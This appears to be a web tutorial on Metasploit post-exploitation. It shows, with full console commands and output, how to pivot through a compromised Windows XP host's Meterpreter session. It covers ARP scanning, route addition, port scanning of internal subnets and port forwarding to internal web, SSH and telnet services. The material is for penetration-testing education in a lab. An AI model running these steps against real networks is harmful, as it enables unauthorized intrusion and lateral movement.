Welcome!

Cloud Security Authors: Elizabeth White, Xenia von Wedel, John Walsh, James Carlini, Mehdi Daoudi

Related Topics: Cloud Security, Microservices Expo

Cloud Security: Tutorial

Post Exploitation Using Metasploit Pivot and Port Forward

The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool

The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. A very nice feature in Metasploit is the ability to pivot through a Meterpreter session to the network on the other side. This tutorial walks you through how this is done once you have a Meterpreter session on a foreign box. We begin right after a client side exploit has been achieved from an attacker machine running Ubuntu Linux to the victim machine running Windows XP.

1. Introduction
The Metasploit Project is an open-source, computer security project which provides information about security vulnerabilities that assist in performing a penetration test. Metasploit was created by HD Moore in 2003 to provide the security community with a public resource for exploit development which resulted in the Metasploit Framework. This framework is an open source platform for writing security tools and exploits.

The Meterpreter is an advanced multi-function payload that can be dynamically extended at run-time. In normal terms, this means that it provides you with a basic shell and allows you to add new features to it as needed. Please refer to the Meterpreter documentation for an in-depth description of how it works and what you can do with it.

Once we have compromised a system on the network the goal is to learn more about the target environment and find openings by directly interacting with the target systems. The objectives include determining the addresses used by systems including hosts (servers and clients), network equipment (firewalls, routers, switches), and other devices. We want to learn the environment creating a diagram, a network map that we can plan further attacks. We want to determine the operating system, list of listening TCP ports, which ports are open, and a list of potential vulnerabilities. To accomplish this goal we will be using the victim as a pivot to attack deeper into the network.

Here is a network diagram (Figure #1) of the network that will be discussed. The attackers machine (IP Address 192.168.1.132) and the victim's machine (192.168.1.131) is connected to the same router.

Figure 1 Network Diagram

The victim is also connected to two (2) other routers, one with (IP address 192.168.15.3) and another with (IP address 192.168.0.9). The attacker is only sharing a connection with the victim via the 192.168.1.0/24 router. To thoroughly demonstrate the use of the pivot command the Windows XP laptop (victim) has two hard line connections and a wireless connection all connected to 3 different networks (Ethernet adapter 1: 192.168.1.131, Ethernet adapter 2: 192.168.15.3, WLAN 1: 192.168.0.9).

Some of the tools that will be used in this tutorial are listed below along with a description.

arp_scanner - This Meterpreter script identifies alive hosts on the target C-class network by way of the ARP protocol.

Metasploit auxiliary portscanner - A group of five different scanners to detect any live target located on the same subnet. They include:

ack - ACK Firewall Scanner

ftpbounce - Bounce Port Scanner

syn - SYN Port Scanner

tcp - Port Scanner

xmas - "Xmas" Port Scanner

tcpdump - a packet analyzer that runs on the command line and allows the user to intercept and display TCP/IP and other packets being transmitted or received over a network.

etherape - is a graphical network monitor for Unix that features link layer, IP and TCP modes.

portfwd - forward a local port to a remote service. Portfwd command can be used with any TCP based service on the target's network.

telnet - A terminal emulation program for TCP/IP networks used for connecting to a remote computer over the Internet.

1.1. Scan Hosts
The system is connected to three different IP ranges which could lead to more targets to exploit. Now we need to find out if there are any other IP addresses within the range and we will use one of the meterpreter scripts called arp_scanner. Arp_scanner will perform an ARP scan for a given range through a compromised host.

meterpreter > run arp_scanner -r 192.168.15.1/24

[*] ARP Scanning 192.168.15.1/24

[*] IP: 192.168.15.5 MAC d8:d3:85:d3:8:2d

[*] IP: 192.168.15.3 MAC 0:b:db:1d:d3:2b

[*] IP: 192.168.15.1 MAC 0:17:ee:ca:32:b2

meterpreter > run arp_scanner -r 192.168.0.1/24

[*] ARP Scanning 192.168.0.1/24

[*] IP: 192.168.0.1 MAC 0:9:5b:fa:66:f2

[*] IP: 192.168.0.5 MAC 0:16:6f:79:68:0

[*] IP: 192.168.0.9 MAC 0:90:4b:12:34:4c

[*] IP: 192.168.0.7 MAC 0:21:6a:b5:9a:f0

We will use the -r option to target address range to scan in this case 192.168.15.0/24. The arp_scanner –r option will target the address range or Classless Inter-Domain routing (CIDR). For a list of options use the arp_scanner –h. Other options such as (–i) enumerate local interfaces and (–s) save found IP addresses to logs may be used. The scan has returned a list of potential targets to attack from the results of our arp scan. Next we need to add the route to our meterpreter session. We do these with the route add option in the msf console; you will need to background your meterpreter session:

meterpreter > background

msf exploit(handler) > route add 192.168.15.1 255.255.255.0 1

[*] Route added

msf exploit(handler) > route print

Active Routing Table

====================

Subnet Netmask Gateway

------ ------- -------

192.168.15.1 255.255.255.0 Session 1

Notice the number 1 at the end of the route add, this describes the meterpreter session we are adding the route to and is very important and implies the tunnel ID. The tunnel ID must match up to our route that we are going to add. You can have many different tunnel ID’s to one or several different IP Addresses and it is important to keep them straight.

We need to use a portscanner to discover any open ports on the IP listed from our arp sweep to do this we load the tcp portscanner found in auxiliary tools and run it on the available IP's from the arp sweep:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp

msf auxiliary(tcp) > set RHOSTS 192.168.15.1

RHOSTS => 192.168.15.1

msf auxiliary(tcp) > set PORTS 1-1024

PORTS => 1-1024

This is where we set our RHOSTS to the IP we want to scan and set the PORTS with the range we want to scan (1-1024). Then we type run and the results are listed:

msf auxiliary(tcp) > run

[*] 192.168.15.1:22 - TCP OPEN

[*] 192.168.15.1:80 - TCP OPEN

[*] 192.168.15.1:554 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(tcp) > set RHOSTS 192.168.15.2

RHOSTS => 192.168.15.2

msf auxiliary(tcp) > set PORTS 1-1024

PORTS => 1-1024

msf auxiliary(tcp) > run

[*] 192.168.15.2:22 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(tcp) > set RHOSTS 192.168.15.5

RHOSTS => 192.168.15.5

msf auxiliary(tcp) > set PORTS 1-1024

PORTS => 1-1024

msf auxiliary(tcp) > run

[*] 192.168.15.5:80 - TCP OPEN

[*] 192.168.15.5:139 - TCP OPEN

[*] 192.168.15.5:445 - TCP OPEN

[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed

msf auxiliary(tcp) >

There are 5 different types of portscanner modules in the auxiliary/scanner/portscan and they are ACK, SYN, TCP, XMAS, and ftpbounce. The only one that will work is TCP. The reason is that anything that uses raw sockets (like the syn scanner and others) will not work through the tunnel. Remember we can’t send arbitrary packets to these IP addresses they will not respond. You can only send ones that are bound to a port and are legitimate. This only supports outbound TCP connections. After we issue the show options command there are a number of required options that need to be set:

msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

Name Current Setting Required Description

---- --------------- -------- -----------

CONCURRENCY 10 yes The number of concurrent ports to check per host

FILTER no The filter string for capturing traffic

INTERFACE no The name of the interface

PCAPFILE no The name of the PCAP capture file to process

PORTS 1-1024 yes Ports to scan (e.g. 22-25,80,110-900)

RHOSTS 192.168.15.5 yes The target address range or CIDR identifier

SNAPLEN 65535 yes The number of bytes to capture

THREADS 1 yes The number of concurrent threads

TIMEOUT 1000 yes The socket connect timeout in milliseconds

VERBOSE false no Display verbose output

msf auxiliary(tcp) >

Notice that tcpdump and etherape running on the attackers system and the only traffic seen is TCP-UNKNOWN going to 192.168.1.131, nothing going to our end target which is 192.168.15.5 (Figure #2). All traffic is funneled through our exploited machine 192.168.1.131 to the other machines listed in the arp scan. For tcpdump I use $ sudo tcpdump dst 192.168.1.131, if you want a more detailed output use the following $ sudo tcpdump -nnvvXSs 1514 dst 192.168.1.131.

Figure 2 Running tcpdump and etherape to view traffic to and from attacker and victim

 

Now let’s take a look at our results of the tcp scan and see what is open? Results from tcp scan of 192.168.15.0/24:

192.168.15.5 tcp open ports 80,139, & 445

192.168.15.2 tcp open port 22

192.168.15.1 tcp open ports 22, 80, & 554

To scan another range we need to remove the route and add another with the route remove command:

msf auxiliary(tcp) > route remove 192.168.15.1 255.255.255.0 1

[*] Route removed

msf auxiliary(tcp) > route add 192.168.0.1 255.255.255.0 1

[*] Route added

msf auxiliary(tcp) > route print

Active Routing Table

====================

Subnet Netmask Gateway

------ ------- -------

192.168.0.1 255.255.255.0 Session 1

Results from tcp scan of 192.168.0.0/24:

192.168.0.2 tcp open 135,139, & 445

192.168.0.9 tcp open 23,135,139, & 445

192.168.0.1 tcp open 80

1.1. Portfwd command

There are a number of interesting ports that are open such as 22, 23, and 80 using the portfwd command we can gain access to an internal web server, run netcat, and telnet on ports 22 and 23. The portfwd command can be used with any TCP-based service on the target's network to demonstrate access to internal resources once an internal user's machine has been compromised. First we will use the portfwd command on the 192.168.15.1 subnet and then work on the 192.168.0.1 subnet. Let’s go back to our meterpreter session and use the portfwd command:

msf > sessions -i 1

meterpreter > portfwd add -l 8000 -p 80 -r 192.168.15.1

[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.15.1:80

meterpreter > portfwd add -l 8010 -p 80 -r 192.168.15.5

meterpreter > portfwd add -l 25000 -p 22 -r 192.168.15.2

[*] Local TCP relay created: 0.0.0.0:25000 <-> 192.168.15.2:22

Now let’s open up a local browser and go to the following addresses:

Figure 3

http://127.0.0.1:8000 (Figure 3)

Now these addresses are not accessible from our network and all the traffic that we see is only going to our target 192.168.1.131 see Etherape in Figure #2. We are using the local port forwarding binded on the victim host 192.168.1.131 so when we execute the route command and exploit internal hosts, or in this case open a web browser, we can map them back to our initial victim, through the meterpreter connection and back to us.

http://127.0.0.1:8010 (Figure 4)

Figure 4

To test the IP with port 22 open we open a terminal and use netcat to grab the banner:

[email protected]:~$ nc -v 127.0.0.1 25000

Connection to 127.0.0.1 25000 port [tcp/*] succeeded!

SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1.2

Now let’s look at the IP's on the 192.168.0.0/24 network. First let’s remove the portfwd commands from our previous work.

meterpreter > portfwd delete -l 8000 -p 80 -r 192.168.15.1

[*] Successfully stopped TCP relay on 0.0.0.0:8000

meterpreter > portfwd delete -l 8010 -p 80 -r 192.168.15.5

[*] Successfully stopped TCP relay on 0.0.0.0:8010

meterpreter > portfwd delete -l 25000 -p 22 -r 192.168.15.2

[*] Successfully stopped TCP relay on 0.0.0.0:25000

Now let’s add the portfwd commands for our new set of IP's 192.168.0.0/24.

meterpreter > portfwd add -l 25001 -p 23 -r 192.168.0.9

[*] Local TCP relay created: 0.0.0.0:25001 <-> 192.168.0.9:23

meterpreter > portfwd add -l 8000 -p 80 -r 192.168.0.1

[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.0.1:80

meterpreter >

Now let’s open up our web browser and go to the following addresses:

http://127.0.0.1 (Figure 5)

Figure 5

Next we open up a terminal and use telnet to connect to 192.168.0.9:

[email protected]:~$ telnet 127.0.0.1 25001

Trying 127.0.0.1...

Connected to 127.0.0.1.

Escape character is '^]'.

Welcome to Microsoft Telnet Service

login:

1.1. Conclusion

At this point if we have a user name and password to connect to the system you can use it. The point of this paper was to gain access inside a foreign network once a host has been compromised and a meterpreter session was established. I will leave further compromising of the internal network for another paper.

Now we have been able to view systems from two different subnets that are not part of our network using a basic version of pivoting through the meterpreter payload. The scan we performed went through 192.168.1.131 to 192.168.15.0/24 network and the 192.168.0.0/24 network. We then used the portfwd command to display the internal web pages, telnet, and ssh locally over SSL.

On the 'Net
Link to video tutorials: http://pbnetworks.net/?cmd=bbs

Let pbnetworks get your pen test on target

Visit us and learn how http://pbnetworks.net

How secure is your network?

More Stories By David Dodd

David J. Dodd is currently in the United States and holds a current 'Top Secret' DoD Clearance and is available for consulting on various Information Assurance projects. A former U.S. Marine with Avionics background in Electronic Countermeasures Systems. David has given talks at the San Diego Regional Security Conference and SDISSA, is a member of InfraGard, and contributes to Secure our eCity http://securingourecity.org. He works for Xerox as Information Security Officer City of San Diego & pbnetworks Inc. http://pbnetworks.net a Service Disabled Veteran Owned Small Business (SDVOSB) located in San Diego, CA and can be contacted by emailing: dave at pbnetworks.net.

@ThingsExpo Stories
"IBM is really all in on blockchain. We take a look at sort of the history of blockchain ledger technologies. It started out with bitcoin, Ethereum, and IBM evaluated these particular blockchain technologies and found they were anonymous and permissionless and that many companies were looking for permissioned blockchain," stated René Bostic, Technical VP of the IBM Cloud Unit in North America, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Conventi...
In his session at 21st Cloud Expo, Carl J. Levine, Senior Technical Evangelist for NS1, will objectively discuss how DNS is used to solve Digital Transformation challenges in large SaaS applications, CDNs, AdTech platforms, and other demanding use cases. Carl J. Levine is the Senior Technical Evangelist for NS1. A veteran of the Internet Infrastructure space, he has over a decade of experience with startups, networking protocols and Internet infrastructure, combined with the unique ability to it...
22nd International Cloud Expo, taking place June 5-7, 2018, at the Javits Center in New York City, NY, and co-located with the 1st DXWorld Expo will feature technical sessions from a rock star conference faculty and the leading industry players in the world. Cloud computing is now being embraced by a majority of enterprises of all sizes. Yesterday's debate about public vs. private has transformed into the reality of hybrid cloud: a recent survey shows that 74% of enterprises have a hybrid cloud ...
"Cloud Academy is an enterprise training platform for the cloud, specifically public clouds. We offer guided learning experiences on AWS, Azure, Google Cloud and all the surrounding methodologies and technologies that you need to know and your teams need to know in order to leverage the full benefits of the cloud," explained Alex Brower, VP of Marketing at Cloud Academy, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clar...
Gemini is Yahoo’s native and search advertising platform. To ensure the quality of a complex distributed system that spans multiple products and components and across various desktop websites and mobile app and web experiences – both Yahoo owned and operated and third-party syndication (supply), with complex interaction with more than a billion users and numerous advertisers globally (demand) – it becomes imperative to automate a set of end-to-end tests 24x7 to detect bugs and regression. In th...
Widespread fragmentation is stalling the growth of the IIoT and making it difficult for partners to work together. The number of software platforms, apps, hardware and connectivity standards is creating paralysis among businesses that are afraid of being locked into a solution. EdgeX Foundry is unifying the community around a common IoT edge framework and an ecosystem of interoperable components.
"MobiDev is a software development company and we do complex, custom software development for everybody from entrepreneurs to large enterprises," explained Alan Winters, U.S. Head of Business Development at MobiDev, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
Large industrial manufacturing organizations are adopting the agile principles of cloud software companies. The industrial manufacturing development process has not scaled over time. Now that design CAD teams are geographically distributed, centralizing their work is key. With large multi-gigabyte projects, outdated tools have stifled industrial team agility, time-to-market milestones, and impacted P&L stakeholders.
"Space Monkey by Vivent Smart Home is a product that is a distributed cloud-based edge storage network. Vivent Smart Home, our parent company, is a smart home provider that places a lot of hard drives across homes in North America," explained JT Olds, Director of Engineering, and Brandon Crowfeather, Product Manager, at Vivint Smart Home, in this SYS-CON.tv interview at @ThingsExpo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
"Akvelon is a software development company and we also provide consultancy services to folks who are looking to scale or accelerate their engineering roadmaps," explained Jeremiah Mothersell, Marketing Manager at Akvelon, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
Coca-Cola’s Google powered digital signage system lays the groundwork for a more valuable connection between Coke and its customers. Digital signs pair software with high-resolution displays so that a message can be changed instantly based on what the operator wants to communicate or sell. In their Day 3 Keynote at 21st Cloud Expo, Greg Chambers, Global Group Director, Digital Innovation, Coca-Cola, and Vidya Nagarajan, a Senior Product Manager at Google, discussed how from store operations and ...
"There's plenty of bandwidth out there but it's never in the right place. So what Cedexis does is uses data to work out the best pathways to get data from the origin to the person who wants to get it," explained Simon Jones, Evangelist and Head of Marketing at Cedexis, in this SYS-CON.tv interview at 21st Cloud Expo, held Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA.
SYS-CON Events announced today that CrowdReviews.com has been named “Media Sponsor” of SYS-CON's 22nd International Cloud Expo, which will take place on June 5–7, 2018, at the Javits Center in New York City, NY. CrowdReviews.com is a transparent online platform for determining which products and services are the best based on the opinion of the crowd. The crowd consists of Internet users that have experienced products and services first-hand and have an interest in letting other potential buye...
SYS-CON Events announced today that Telecom Reseller has been named “Media Sponsor” of SYS-CON's 22nd International Cloud Expo, which will take place on June 5-7, 2018, at the Javits Center in New York, NY. Telecom Reseller reports on Unified Communications, UCaaS, BPaaS for enterprise and SMBs. They report extensively on both customer premises based solutions such as IP-PBX as well as cloud based and hosted platforms.
It is of utmost importance for the future success of WebRTC to ensure that interoperability is operational between web browsers and any WebRTC-compliant client. To be guaranteed as operational and effective, interoperability must be tested extensively by establishing WebRTC data and media connections between different web browsers running on different devices and operating systems. In his session at WebRTC Summit at @ThingsExpo, Dr. Alex Gouaillard, CEO and Founder of CoSMo Software, presented ...
WebRTC is great technology to build your own communication tools. It will be even more exciting experience it with advanced devices, such as a 360 Camera, 360 microphone, and a depth sensor camera. In his session at @ThingsExpo, Masashi Ganeko, a manager at INFOCOM Corporation, introduced two experimental projects from his team and what they learned from them. "Shotoku Tamago" uses the robot audition software HARK to track speakers in 360 video of a remote party. "Virtual Teleport" uses a multip...
A strange thing is happening along the way to the Internet of Things, namely far too many devices to work with and manage. It has become clear that we'll need much higher efficiency user experiences that can allow us to more easily and scalably work with the thousands of devices that will soon be in each of our lives. Enter the conversational interface revolution, combining bots we can literally talk with, gesture to, and even direct with our thoughts, with embedded artificial intelligence, whic...
SYS-CON Events announced today that Evatronix will exhibit at SYS-CON's 21st International Cloud Expo®, which will take place on Oct 31 – Nov 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. Evatronix SA offers comprehensive solutions in the design and implementation of electronic systems, in CAD / CAM deployment, and also is a designer and manufacturer of advanced 3D scanners for professional applications.
Leading companies, from the Global Fortune 500 to the smallest companies, are adopting hybrid cloud as the path to business advantage. Hybrid cloud depends on cloud services and on-premises infrastructure working in unison. Successful implementations require new levels of data mobility, enabled by an automated and seamless flow across on-premises and cloud resources. In his general session at 21st Cloud Expo, Greg Tevis, an IBM Storage Software Technical Strategist and Customer Solution Architec...
To get the most out of their data, successful companies are not focusing on queries and data lakes, they are actively integrating analytics into their operations with a data-first application development approach. Real-time adjustments to improve revenues, reduce costs, or mitigate risk rely on applications that minimize latency on a variety of data sources. In his session at @BigDataExpo, Jack Norris, Senior Vice President, Data and Applications at MapR Technologies, reviewed best practices to ...